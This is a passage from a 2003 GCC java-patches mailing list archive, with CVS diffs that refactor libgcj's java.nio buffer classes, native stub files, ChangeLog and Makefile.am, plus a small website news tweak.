gnu/java/nio/DoubleBufferImpl.java + gnu/java/nio/FloatBufferImpl.java + gnu/java/nio/ShortBufferImpl.java + java/nio/DoubleBuffer.java + java/nio/FloatBuffer.java + java/nio/IntBuffer.java + java/nio/LongBuffer.java + java/nio/ShortBuffer.java + java/nio/channels/FileLock.java + (nat_source_files): Added the following files: + gnu/java/nio/natByteBufferImpl.cc + gnu/java/nio/natCharBufferImpl.cc + gnu/java/nio/natDoubleBufferImpl.cc + gnu/java/nio/natFloatBufferImpl.cc + gnu/java/nio/natIntBufferImpl.cc + gnu/java/nio/natLongBufferImpl.cc + gnu/java/nio/natShortBufferImpl.cc + * Makefile.in: Regenerated. +2003-02-11 Michael Koch + * java/nio/DoubleBuffer.java (DoubleBuffer): Implements Comparable. (endian): Removed. Index: gnu/java/nio/natCharBufferImpl.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/nio/natCharBufferImpl.cc,v retrieving revision 1.1 diff -u -r1.1 natCharBufferImpl.cc --- gnu/java/nio/natCharBufferImpl.cc 29 Nov 2002 07:56:58 -0000 1.1 +++ gnu/java/nio/natCharBufferImpl.cc 11 Feb 2003 09:43:22 -0000 @@ -11,115 +11,13 @@ return NULL; } -JArray* -gnu::java::nio::CharBufferImpl::nio_cast(JArray*) -{ - return NULL; -} - -JArray* -gnu::java::nio::CharBufferImpl::nio_cast(JArray*) -{ - return NULL; -} - -JArray* -gnu::java::nio::CharBufferImpl::nio_cast(JArray*) -{ - return NULL; -} - -JArray* -gnu::java::nio::CharBufferImpl::nio_cast(JArray*) -{ - return NULL; -} - -JArray* -gnu::java::nio::CharBufferImpl::nio_cast(JArray*) -{ - return NULL; -} - -JArray* -gnu::java::nio::CharBufferImpl::nio_cast(JArray*) -{ - return NULL; -} - void gnu::java::nio::CharBufferImpl::nio_put_Byte(gnu::java::nio::CharBufferImpl*, jint, jint, jbyte) { } -void -gnu::java::nio::CharBufferImpl::nio_put_Char(gnu::java::nio::CharBufferImpl*, jint, jint, jchar) -{ -} - -void -gnu::java::nio::CharBufferImpl::nio_put_Short(gnu::java::nio::CharBufferImpl*, jint, jint, jshort) -{ -} - -void -gnu::java::nio::CharBufferImpl::nio_put_Int(gnu::java::nio::CharBufferImpl*, jint, jint, jint) -{ -} - -void -gnu::java::nio::CharBufferImpl::nio_put_Long(gnu::java::nio::CharBufferImpl*, jint, jint, jlong) -{ -} - -void -gnu::java::nio::CharBufferImpl::nio_put_Float(gnu::java::nio::CharBufferImpl*, jint, jint, jfloat) -{ -} - -void -gnu::java::nio::CharBufferImpl::nio_put_Double(gnu::java::nio::CharBufferImpl*, jint, jint, jdouble) -{ -} - jbyte gnu::java::nio::CharBufferImpl::nio_get_Byte(gnu::java::nio::CharBufferImpl*, jint, jint) { return 0; -} - -jchar -gnu::java::nio::CharBufferImpl::nio_get_Char(gnu::java::nio::CharBufferImpl*, jint, jint) -{ - return ' '; -} - -jshort -gnu::java::nio::CharBufferImpl::nio_get_Short(gnu::java::nio::CharBufferImpl*, jint, jint) -{ - return 0; -} - -jint -gnu::java::nio::CharBufferImpl::nio_get_Int(gnu::java::nio::CharBufferImpl*, jint, jint) -{ - return 0; -} - -jlong -gnu::java::nio::CharBufferImpl::nio_get_Long(gnu::java::nio::CharBufferImpl*, jint, jint) -{ - return 0; -} - -jfloat -gnu::java::nio::CharBufferImpl::nio_get_Float(gnu::java::nio::CharBufferImpl*, jint, jint) -{ - return 0.0; -} - -jdouble -gnu::java::nio::CharBufferImpl::nio_get_Double(gnu::java::nio::CharBufferImpl*, jint, jint) -{ - return 0.0; } Index: gnu/java/nio/natDoubleBufferImpl.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/nio/natDoubleBufferImpl.cc,v retrieving revision 1.1 diff -u -r1.1 natDoubleBufferImpl.cc --- gnu/java/nio/natDoubleBufferImpl.cc 29 Nov 2002 07:56:58 -0000 1.1 +++ gnu/java/nio/natDoubleBufferImpl.cc 11 Feb 2003 09:43:22 -0000 @@ -11,115 +11,13 @@ return NULL; } -JArray* -gnu::java::nio::DoubleBufferImpl::nio_cast(JArray*) -{ - return NULL; -} - -JArray* -gnu::java::nio::DoubleBufferImpl::nio_cast(JArray*) -{ - return NULL; -} - -JArray* -gnu::java::nio::DoubleBufferImpl::nio_cast(JArray*) -{ - return NULL; -} - -JArray* -gnu::java::nio::DoubleBufferImpl::nio_cast(JArray*) -{ - return NULL; -} - -JArray* -gnu::java::nio::DoubleBufferImpl::nio_cast(JArray*) -{ - return NULL; -} - -JArray* -gnu::java::nio::DoubleBufferImpl::nio_cast(JArray*) -{ - return NULL; -} - void gnu::java::nio::DoubleBufferImpl::nio_put_Byte(gnu::java::nio::DoubleBufferImpl*, jint, jint, jbyte) { } -void -gnu::java::nio::DoubleBufferImpl::nio_put_Char(gnu::java::nio::DoubleBufferImpl*, jint, jint, jchar) -{ -} - -void -gnu::java::nio::DoubleBufferImpl::nio_put_Short(gnu::java::nio::DoubleBufferImpl*, jint, jint, jshort) -{ -} - -void -gnu::java::nio::DoubleBufferImpl::nio_put_Int(gnu::java::nio::DoubleBufferImpl*, jint, jint, jint) -{ -} - -void -gnu::java::nio::DoubleBufferImpl::nio_put_Long(gnu::java::nio::DoubleBufferImpl*, jint, jint, jlong) -{ -} - -void -gnu::java::nio::DoubleBufferImpl::nio_put_Float(gnu::java::nio::DoubleBufferImpl*, jint, jint, jfloat) -{ -} - -void -gnu::java::nio::DoubleBufferImpl::nio_put_Double(gnu::java::nio::DoubleBufferImpl*, jint, jint, jdouble) -{ -} - jbyte gnu::java::nio::DoubleBufferImpl::nio_get_Byte(gnu::java::nio::DoubleBufferImpl*, jint, jint) { return 0; -} - -jchar -gnu::java::nio::DoubleBufferImpl::nio_get_Char(gnu::java::nio::DoubleBufferImpl*, jint, jint) -{ - return ' '; -} - -jshort -gnu::java::nio::DoubleBufferImpl::nio_get_Short(gnu::java::nio::DoubleBufferImpl*, jint, jint) -{ - return 0; -} - -jint -gnu::java::nio::DoubleBufferImpl::nio_get_Int(gnu::java::nio::DoubleBufferImpl*, jint, jint) -{ - return 0; -} - -jlong -gnu::java::nio::DoubleBufferImpl::nio_get_Long(gnu::java::nio::DoubleBufferImpl*, jint, jint) -{ - return 0; -} - -jfloat -gnu::java::nio::DoubleBufferImpl::nio_get_Float(gnu::java::nio::DoubleBufferImpl*, jint, jint) -{ - return 0.0; -} - -jdouble -gnu::java::nio::DoubleBufferImpl::nio_get_Double(gnu::java::nio::DoubleBufferImpl*, jint, jint) -{ - return 0.0; } Index: gnu/java/nio/natFloatBufferImpl.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/nio/natFloatBufferImpl.cc,v retrieving revision 1.1 diff -u -r1.1 natFloatBufferImpl.cc --- gnu/java/nio/natFloatBufferImpl.cc 29 Nov 2002 07:56:58 -0000 1.1 +++ gnu/java/nio/natFloatBufferImpl.cc 11 Feb 2003 09:43:22 -0000 @@ -11,115 +11,13 @@ return NULL; } -JArray* -gnu::java::nio::FloatBufferImpl::nio_cast(JArray*) -{ - return NULL; -} - -JArray* -gnu::java::nio::FloatBufferImpl::nio_cast(JArray*) -{ - return NULL; -} - -JArray* -gnu::java::nio::FloatBufferImpl::nio_cast(JArray*) -{ - return NULL; -} - -JArray* -gnu::java::nio::FloatBufferImpl::nio_cast(JArray*) -{ - return NULL; -} - -JArray* -gnu::java::nio::FloatBufferImpl::nio_cast(JArray*) -{ - return NULL; -} - -JArray* -gnu::java::nio::FloatBufferImpl::nio_cast(JArray*) -{ - return NULL; -} - void gnu::java::nio::FloatBufferImpl::nio_put_Byte(gnu::java::nio::FloatBufferImpl*, jint, jint, jbyte) { } -void -gnu::java::nio::FloatBufferImpl::nio_put_Char(gnu::java::nio::FloatBufferImpl*, jint, jint, jchar) -{ -} - -void -gnu::java::nio::FloatBufferImpl::nio_put_Short(gnu::java::nio::FloatBufferImpl*, jint, jint, jshort) -{ -} - -void -gnu::java::nio::FloatBufferImpl::nio_put_Int(gnu::java::nio::FloatBufferImpl*, jint, jint, jint) -{ -} - -void -gnu::java::nio::FloatBufferImpl::nio_put_Long(gnu::java::nio::FloatBufferImpl*, jint, jint, jlong) -{ -} - -void -gnu::java::nio::FloatBufferImpl::nio_put_Float(gnu::java::nio::FloatBufferImpl*, jint, jint, jfloat) -{ -} - -void -gnu::java::nio::FloatBufferImpl::nio_put_Double(gnu::java::nio::FloatBufferImpl*, jint, jint, jdouble) -{ -} - jbyte gnu::java::nio::FloatBufferImpl::nio_get_Byte(gnu::java::nio::FloatBufferImpl*, jint, jint) { return 0; -} - -jchar -gnu::java::nio::FloatBufferImpl::nio_get_Char(gnu::java::nio::FloatBufferImpl*, jint, jint) -{ - return ' '; -} - -jshort -gnu::java::nio::FloatBufferImpl::nio_get_Short(gnu::java::nio::FloatBufferImpl*, jint, jint) -{ - return 0; -} - -jint -gnu::java::nio::FloatBufferImpl::nio_get_Int(gnu::java::nio::FloatBufferImpl*, jint, jint) -{ - return 0; -} - -jlong -gnu::java::nio::FloatBufferImpl::nio_get_Long(gnu::java::nio::FloatBufferImpl*, jint, jint) -{ - return 0; -} - -jfloat -gnu::java::nio::FloatBufferImpl::nio_get_Float(gnu::java::nio::FloatBufferImpl*, jint, jint) -{ - return 0.0; -} - -jdouble -gnu::java::nio::FloatBufferImpl::nio_get_Double(gnu::java::nio::FloatBufferImpl*, jint, jint) -{ - return 0.0; } Index: gnu/java/nio/natIntBufferImpl.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/nio/natIntBufferImpl.cc,v retrieving revision 1.1 diff -u -r1.1 natIntBufferImpl.cc --- gnu/java/nio/natIntBufferImpl.cc 29 Nov 2002 07:56:58 -0000 1.1 +++ gnu/java/nio/natIntBufferImpl.cc 11 Feb 2003 09:43:22 -0000 @@ -11,115 +11,13 @@ return NULL; } -JArray* -gnu::java::nio::IntBufferImpl::nio_cast(JArray*) -{ - return NULL; -} - -JArray* -gnu::java::nio::IntBufferImpl::nio_cast(JArray*) -{ - return NULL; -} - -JArray* -gnu::java::nio::IntBufferImpl::nio_cast(JArray*) -{ - return NULL; -} - -JArray* -gnu::java::nio::IntBufferImpl::nio_cast(JArray*) -{ - return NULL; -} - -JArray* -gnu::java::nio::IntBufferImpl::nio_cast(JArray*) -{ - return NULL; -} - -JArray* -gnu::java::nio::IntBufferImpl::nio_cast(JArray*) -{ - return NULL; -} - void gnu::java::nio::IntBufferImpl::nio_put_Byte(gnu::java::nio::IntBufferImpl*, jint, jint, jbyte) { } -void -gnu::java::nio::IntBufferImpl::nio_put_Char(gnu::java::nio::IntBufferImpl*, jint, jint, jchar) -{ -} - -void -gnu::java::nio::IntBufferImpl::nio_put_Short(gnu::java::nio::IntBufferImpl*, jint, jint, jshort) -{ -} - -void -gnu::java::nio::IntBufferImpl::nio_put_Int(gnu::java::nio::IntBufferImpl*, jint, jint, jint) -{ -} - -void -gnu::java::nio::IntBufferImpl::nio_put_Long(gnu::java::nio::IntBufferImpl*, jint, jint, jlong) -{ -} - -void -gnu::java::nio::IntBufferImpl::nio_put_Float(gnu::java::nio::IntBufferImpl*, jint, jint, jfloat) -{ -} - -void -gnu::java::nio::IntBufferImpl::nio_put_Double(gnu::java::nio::IntBufferImpl*, jint, jint, jdouble) -{ -} - jbyte gnu::java::nio::IntBufferImpl::nio_get_Byte(gnu::java::nio::IntBufferImpl*, jint, jint) { return 0; -} - -jchar -gnu::java::nio::IntBufferImpl::nio_get_Char(gnu::java::nio::IntBufferImpl*, jint, jint) -{ - return ' '; -} - -jshort -gnu::java::nio::IntBufferImpl::nio_get_Short(gnu::java::nio::IntBufferImpl*, jint, jint) -{ - return 0; -} - -jint -gnu::java::nio::IntBufferImpl::nio_get_Int(gnu::java::nio::IntBufferImpl*, jint, jint) -{ - return 0; -} - -jlong -gnu::java::nio::IntBufferImpl::nio_get_Long(gnu::java::nio::IntBufferImpl*, jint, jint) -{ - return 0; -} - -jfloat -gnu::java::nio::IntBufferImpl::nio_get_Float(gnu::java::nio::IntBufferImpl*, jint, jint) -{ - return 0.0; -} - -jdouble -gnu::java::nio::IntBufferImpl::nio_get_Double(gnu::java::nio::IntBufferImpl*, jint, jint) -{ - return 0.0; } Index: gnu/java/nio/natLongBufferImpl.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/nio/natLongBufferImpl.cc,v retrieving revision 1.1 diff -u -r1.1 natLongBufferImpl.cc --- gnu/java/nio/natLongBufferImpl.cc 29 Nov 2002 07:56:58 -0000 1.1 +++ gnu/java/nio/natLongBufferImpl.cc 11 Feb 2003 09:43:22 -0000 @@ -11,115 +11,13 @@ return NULL; } -JArray* -gnu::java::nio::LongBufferImpl::nio_cast(JArray*) -{ - return NULL; -} - -JArray* -gnu::java::nio::LongBufferImpl::nio_cast(JArray*) -{ - return NULL; -} - -JArray* -gnu::java::nio::LongBufferImpl::nio_cast(JArray*) -{ - return NULL; -} - -JArray* -gnu::java::nio::LongBufferImpl::nio_cast(JArray*) -{ - return NULL; -} - -JArray* -gnu::java::nio::LongBufferImpl::nio_cast(JArray*) -{ - return NULL; -} - -JArray* -gnu::java::nio::LongBufferImpl::nio_cast(JArray*) -{ - return NULL; -} - void gnu::java::nio::LongBufferImpl::nio_put_Byte(gnu::java::nio::LongBufferImpl*, jint, jint, jbyte) { } -void -gnu::java::nio::LongBufferImpl::nio_put_Char(gnu::java::nio::LongBufferImpl*, jint, jint, jchar) -{ -} - -void -gnu::java::nio::LongBufferImpl::nio_put_Short(gnu::java::nio::LongBufferImpl*, jint, jint, jshort) -{ -} - -void -gnu::java::nio::LongBufferImpl::nio_put_Int(gnu::java::nio::LongBufferImpl*, jint, jint, jint) -{ -} - -void -gnu::java::nio::LongBufferImpl::nio_put_Long(gnu::java::nio::LongBufferImpl*, jint, jint, jlong) -{ -} - -void -gnu::java::nio::LongBufferImpl::nio_put_Float(gnu::java::nio::LongBufferImpl*, jint, jint, jfloat) -{ -} - -void -gnu::java::nio::LongBufferImpl::nio_put_Double(gnu::java::nio::LongBufferImpl*, jint, jint, jdouble) -{ -} - jbyte gnu::java::nio::LongBufferImpl::nio_get_Byte(gnu::java::nio::LongBufferImpl*, jint, jint) { return 0; -} - -jchar -gnu::java::nio::LongBufferImpl::nio_get_Char(gnu::java::nio::LongBufferImpl*, jint, jint) -{ - return ' '; -} - -jshort -gnu::java::nio::LongBufferImpl::nio_get_Short(gnu::java::nio::LongBufferImpl*, jint, jint) -{ - return 0; -} - -jint -gnu::java::nio::LongBufferImpl::nio_get_Int(gnu::java::nio::LongBufferImpl*, jint, jint) -{ - return 0; -} - -jlong -gnu::java::nio::LongBufferImpl::nio_get_Long(gnu::java::nio::LongBufferImpl*, jint, jint) -{ - return 0; -} - -jfloat -gnu::java::nio::LongBufferImpl::nio_get_Float(gnu::java::nio::LongBufferImpl*, jint, jint) -{ - return 0.0; -} - -jdouble -gnu::java::nio::LongBufferImpl::nio_get_Double(gnu::java::nio::LongBufferImpl*, jint, jint) -{ - return 0.0; } Index: gnu/java/nio/natShortBufferImpl.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/nio/natShortBufferImpl.cc,v retrieving revision 1.1 diff -u -r1.1 natShortBufferImpl.cc --- gnu/java/nio/natShortBufferImpl.cc 29 Nov 2002 07:56:58 -0000 1.1 +++ gnu/java/nio/natShortBufferImpl.cc 11 Feb 2003 09:43:22 -0000 @@ -11,115 +11,13 @@ return NULL; } -JArray* -gnu::java::nio::ShortBufferImpl::nio_cast(JArray*) -{ - return NULL; -} - -JArray* -gnu::java::nio::ShortBufferImpl::nio_cast(JArray*) -{ - return NULL; -} - -JArray* -gnu::java::nio::ShortBufferImpl::nio_cast(JArray*) -{ - return NULL; -} - -JArray* -gnu::java::nio::ShortBufferImpl::nio_cast(JArray*) -{ - return NULL; -} - -JArray* -gnu::java::nio::ShortBufferImpl::nio_cast(JArray*) -{ - return NULL; -} - -JArray* -gnu::java::nio::ShortBufferImpl::nio_cast(JArray*) -{ - return NULL; -} - void gnu::java::nio::ShortBufferImpl::nio_put_Byte(gnu::java::nio::ShortBufferImpl*, jint, jint, jbyte) { } -void -gnu::java::nio::ShortBufferImpl::nio_put_Char(gnu::java::nio::ShortBufferImpl*, jint, jint, jchar) -{ -} - -void -gnu::java::nio::ShortBufferImpl::nio_put_Short(gnu::java::nio::ShortBufferImpl*, jint, jint, jshort) -{ -} - -void -gnu::java::nio::ShortBufferImpl::nio_put_Int(gnu::java::nio::ShortBufferImpl*, jint, jint, jint) -{ -} - -void -gnu::java::nio::ShortBufferImpl::nio_put_Long(gnu::java::nio::ShortBufferImpl*, jint, jint, jlong) -{ -} - -void -gnu::java::nio::ShortBufferImpl::nio_put_Float(gnu::java::nio::ShortBufferImpl*, jint, jint, jfloat) -{ -} - -void -gnu::java::nio::ShortBufferImpl::nio_put_Double(gnu::java::nio::ShortBufferImpl*, jint, jint, jdouble) -{ -} - jbyte gnu::java::nio::ShortBufferImpl::nio_get_Byte(gnu::java::nio::ShortBufferImpl*, jint, jint) { return 0; -} - -jchar -gnu::java::nio::ShortBufferImpl::nio_get_Char(gnu::java::nio::ShortBufferImpl*, jint, jint) -{ - return ' '; -} - -jshort -gnu::java::nio::ShortBufferImpl::nio_get_Short(gnu::java::nio::ShortBufferImpl*, jint, jint) -{ - return 0; -} - -jint -gnu::java::nio::ShortBufferImpl::nio_get_Int(gnu::java::nio::ShortBufferImpl*, jint, jint) -{ - return 0; -} - -jlong -gnu::java::nio::ShortBufferImpl::nio_get_Long(gnu::java::nio::ShortBufferImpl*, jint, jint) -{ - return 0; -} - -jfloat -gnu::java::nio::ShortBufferImpl::nio_get_Float(gnu::java::nio::ShortBufferImpl*, jint, jint) -{ - return 0.0; -} - -jdouble -gnu::java::nio::ShortBufferImpl::nio_get_Double(gnu::java::nio::ShortBufferImpl*, jint, jint) -{ - return 0.0; } Index: gnu/java/nio/SelectorProviderImpl.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/nio/SelectorProviderImpl.java,v retrieving revision 1.1 diff -u -r1.1 SelectorProviderImpl.java --- gnu/java/nio/SelectorProviderImpl.java 18 Nov 2002 13:56:58 -0000 1.1 +++ gnu/java/nio/SelectorProviderImpl.java 11 Feb 2003 09:43:22 -0000 @@ -37,6 +37,7 @@ package gnu.java.nio; +import java.io.IOException; import java.nio.channels.DatagramChannel; import java.nio.channels.Pipe; import java.nio.channels.ServerSocketChannel; @@ -51,26 +52,31 @@ } public DatagramChannel openDatagramChannel () + throws IOException { return new DatagramChannelImpl (this); } public Pipe openPipe () + throws IOException { return new PipeImpl (); } public AbstractSelector openSelector () + throws IOException { return new SelectorImpl (this); } public ServerSocketChannel openServerSocketChannel () + throws IOException { return new ServerSocketChannelImpl (this); } public SocketChannel openSocketChannel () + throws IOException { return new SocketChannelImpl (this); } Index: gnu/java/nio/ServerSocketChannelImpl.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/nio/ServerSocketChannelImpl.java,v retrieving revision 1.2 diff -u -r1.2 ServerSocketChannelImpl.java --- gnu/java/nio/ServerSocketChannelImpl.java 29 Nov 2002 09:57:05 -0000 1.2 +++ gnu/java/nio/ServerSocketChannelImpl.java 11 Feb 2003 09:43:22 -0000 @@ -58,6 +58,7 @@ SocketChannelImpl s); protected ServerSocketChannelImpl (SelectorProvider provider) + throws IOException { super (provider); fd = SocketChannelImpl.SocketCreate (); @@ -86,14 +87,14 @@ } } - protected void implCloseSelectableChannel () + protected void implCloseSelectableChannel () throws IOException { connected = false; SocketChannelImpl.SocketClose (fd); fd = SocketChannelImpl.SocketCreate (); } - protected void implConfigureBlocking (boolean block) + protected void implConfigureBlocking (boolean block) throws IOException { blocking = block; } Index: java/nio/ByteBuffer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/ByteBuffer.java,v retrieving revision 1.4 diff -u -r1.4 ByteBuffer.java --- java/nio/ByteBuffer.java 11 Feb 2003 07:42:17 -0000 1.4 +++ java/nio/ByteBuffer.java 11 Feb 2003 09:43:22 -0000 @@ -43,7 +43,6 @@ public abstract class ByteBuffer extends Buffer implements Comparable { int offset; - boolean readOnly; byte[] backing_buffer; /** @@ -156,7 +155,7 @@ public final boolean hasArray () { return (backing_buffer != null - && !readOnly); + && !isReadOnly ()); } /** @@ -172,7 +171,7 @@ if (backing_buffer == null) throw new UnsupportedOperationException (); - if (readOnly) + if (isReadOnly ()) throw new ReadOnlyBufferException (); return backing_buffer; @@ -192,7 +191,7 @@ if (backing_buffer == null) throw new UnsupportedOperationException (); - if (readOnly) + if (isReadOnly ()) throw new ReadOnlyBufferException (); return offset; Index: java/nio/CharBuffer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/CharBuffer.java,v retrieving revision 1.2 diff -u -r1.2 CharBuffer.java --- java/nio/CharBuffer.java 11 Feb 2003 07:42:17 -0000 1.2 +++ java/nio/CharBuffer.java 11 Feb 2003 09:43:22 -0000 @@ -38,6 +38,7 @@ package java.nio; public abstract class CharBuffer extends Buffer + implements Cloneable, CharSequence { private ByteOrder endian = ByteOrder.BIG_ENDIAN; --Boundary-00=_ZZMS+Nbam1PUC2d-- From java-patches-return-6056-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 11 10:17:46 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 6961 invoked by alias); 11 Feb 2003 10:17:46 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 6823 invoked from network); 11 Feb 2003 10:17:45 -0000 Received: from unknown (HELO vexpert.dbai.tuwien.ac.at) (128.130.111.12) by 172.16.49.205 with SMTP; 11 Feb 2003 10:17:45 -0000 Received: from [128.130.111.39] (acrux [128.130.111.39]) by vexpert.dbai.tuwien.ac.at (8.12.6/8.12.6) with ESMTP id h1BAHess005438; Tue, 11 Feb 2003 11:17:41 +0100 (CET) Date: Tue, 11 Feb 2003 11:17:42 +0100 (CET) From: Gerald Pfeifer To: gcc-patches@gcc.gnu.org cc: java-patches@gcc.gnu.org Subject: PATCH: index.html -- tweak GCJ news entry Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Tweak GCJ news entry. Installed. Gerald Index: index.html =================================================================== RCS file: /cvs/gcc/wwwdocs/htdocs/index.html,v retrieving revision 1.360 diff -u -3 -p -r1.360 index.html --- index.html 11 Feb 2003 10:16:00 -0000 1.360 +++ index.html 11 Feb 2003 10:17:02 -0000 @@ -91,7 +91,7 @@ to maintain and improve quality.

Andrew Haley of Red Hat completed the work began by Bo Thorsen of SuSE -to port gcj to the AMD x86-64 +to port GCJ to the AMD x86-64 architecture. This is the first implementation of the Java programming language to be made available on that platform. It will be part of the GCC 3.3 release. From java-patches-return-6057-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 11 11:18:06 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 25537 invoked by alias); 11 Feb 2003 11:18:06 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 25528 invoked from network); 11 Feb 2003 11:18:05 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.18) by 172.16.49.205 with SMTP; 11 Feb 2003 11:18:05 -0000 Received: from 192.168.1.3 (dynadsl-080-228-74-223.ewetel.net [80.228.74.223]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h1BBHwwt011505 for ; Tue, 11 Feb 2003 12:17:59 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: [PATCH] gnu.java.nio and Makefile.am|in Date: Tue, 11 Feb 2003 12:17:58 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_mvNS+RSZqPnGlYy" Message-Id: <200302111217.58158.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_mvNS+RSZqPnGlYy Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, The last big patch for today commited. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+SNvmWSOgCCdjSDsRAgf8AJ493Jxwu9pFY3HfXMeaWc0MtMH/dwCcCG61 Gns5hGjn194IczLaB8IhAbA=3D =3DwHgl =2D----END PGP SIGNATURE----- --Boundary-00=_mvNS+RSZqPnGlYy Content-Type: text/x-diff; charset="iso-8859-15"; name="buffers-3.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="buffers-3.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1677 diff -u -r1.1677 ChangeLog --- ChangeLog 11 Feb 2003 09:44:56 -0000 1.1677 +++ ChangeLog 11 Feb 2003 11:15:06 -0000 @@ -1,5 +1,78 @@ 2003-02-11 Michael Koch + * gnu/java/nio/ByteBufferImpl.java: + Reformated and removed some code. + (backing_buffer): Removed. + (array_offset): Removed. + (ro): Renamed to readOnly. + (ByteBufferImpl): Use parent constructor, initialize readOnly. + * gnu/java/nio/CharBufferImpl.java: + Reformated and removed some code. + (array_offset): Removed. + (ro): Renamed to readOnly. + (CharBufferImpl): Use parent constructor, initialize readOnly. + (inc_pos): Removed. + (order): New method. + * gnu/java/nio/DoubleBufferImpl.java: + Reformated and removed some code. + (array_offset): Removed. + (ro): Renamed to readOnly. + (DoubleBufferImpl): Use parent constructor, initialize readOnly. + (inc_pos): Removed. + (order): New method. + * gnu/java/nio/FloatBufferImpl.java: + Reformated and removed some code. + (array_offset): Removed. + (ro): Renamed to readOnly. + (FloatBufferImpl): Use parent constructor, initialize readOnly. + (inc_pos): Removed. + (order): New method. + * gnu/java/nio/IntBufferImpl.java: + Reformated and removed some code. + (array_offset): Removed. + (ro): Renamed to readOnly. + (IntBufferImpl): Use parent constructor, initialize readOnly. + (inc_pos): Removed. + (order): New method. + * gnu/java/nio/LongBufferImpl.java: + Reformated and removed some code. + (array_offset): Removed. + (ro): Renamed to readOnly. + (LongBufferImpl): Use parent constructor, initialize readOnly. + (inc_pos): Removed. + (order): New method. + * gnu/java/nio/ShortBufferImpl.java: + Reformated and removed some code. + (array_offset): Removed. + (ro): Renamed to readOnly. + (ShortBufferImpl): Use parent constructor, initialize readOnly. + (inc_pos): Removed. + (order): New method. + * Makefile.am + (ordinary_java_source_files): Added the following files: + gnu/java/nio/ByteBufferImpl.java + gnu/java/nio/CharBufferImpl.java + gnu/java/nio/DoubleBufferImpl.java + gnu/java/nio/FloatBufferImpl.java + gnu/java/nio/IntBufferImpl.java + gnu/java/nio/LongBufferImpl.java + gnu/java/nio/ShortBufferImpl.java + java/nio/DoubleBuffer.java + java/nio/FloatBuffer.java + java/nio/IntBuffer.java + java/nio/LongBuffer.java + java/nio/ShortBuffer.java + (nat_source_files): Added the following files: + gnu/java/nio/natByteBufferImpl.cc + gnu/java/nio/natCharBufferImpl.cc + gnu/java/nio/natDoubleBufferImpl.cc + gnu/java/nio/natFloatBufferImpl.cc + gnu/java/nio/natIntBufferImpl.cc + gnu/java/nio/natLongBufferImpl.cc + gnu/java/nio/natShortBufferImpl.cc + * Makefile.in: Regenerated. +2003-02-11 Michael Koch + * gnu/java/nio/natCharBufferImpl.cc (nio_cast): Removed. (nio_put_*): Removed. Index: Makefile.am =================================================================== RCS file: /cvs/gcc/gcc/libjava/Makefile.am,v retrieving revision 1.274 diff -u -r1.274 Makefile.am --- Makefile.am 2 Feb 2003 23:06:39 -0000 1.274 +++ Makefile.am 11 Feb 2003 11:15:07 -0000 @@ -2037,6 +2037,13 @@ gnu/java/locale/LocaleInformation_zh_SG.java \ gnu/java/locale/LocaleInformation_zh_TW.java \ gnu/java/math/MPN.java \ +gnu/java/nio/ByteBufferImpl.java \ +gnu/java/nio/CharBufferImpl.java \ +gnu/java/nio/DoubleBufferImpl.java \ +gnu/java/nio/FloatBufferImpl.java \ +gnu/java/nio/IntBufferImpl.java \ +gnu/java/nio/LongBufferImpl.java \ +gnu/java/nio/ShortBufferImpl.java \ gnu/java/nio/charset/ISO_8859_1.java \ gnu/java/nio/charset/Provider.java \ gnu/java/nio/charset/US_ASCII.java \ @@ -2139,9 +2146,14 @@ java/nio/ByteBuffer.java \ java/nio/ByteOrder.java \ java/nio/CharBuffer.java \ +java/nio/DoubleBuffer.java \ +java/nio/FloatBuffer.java \ +java/nio/IntBuffer.java \ java/nio/InvalidMarkException.java \ +java/nio/LongBuffer.java \ java/nio/MappedByteBuffer.java \ java/nio/ReadOnlyBufferException.java \ +java/nio/ShortBuffer.java \ java/nio/channels/AlreadyConnectedException.java \ java/nio/channels/AsynchronousCloseException.java \ java/nio/channels/ByteChannel.java \ @@ -2431,6 +2443,13 @@ gnu/gcj/runtime/natStackTrace.cc \ gnu/gcj/runtime/natStringBuffer.cc \ gnu/gcj/runtime/natVMClassLoader.cc \ +gnu/java/nio/natByteBufferImpl.cc \ +gnu/java/nio/natCharBufferImpl.cc \ +gnu/java/nio/natDoubleBufferImpl.cc \ +gnu/java/nio/natFloatBufferImpl.cc \ +gnu/java/nio/natIntBufferImpl.cc \ 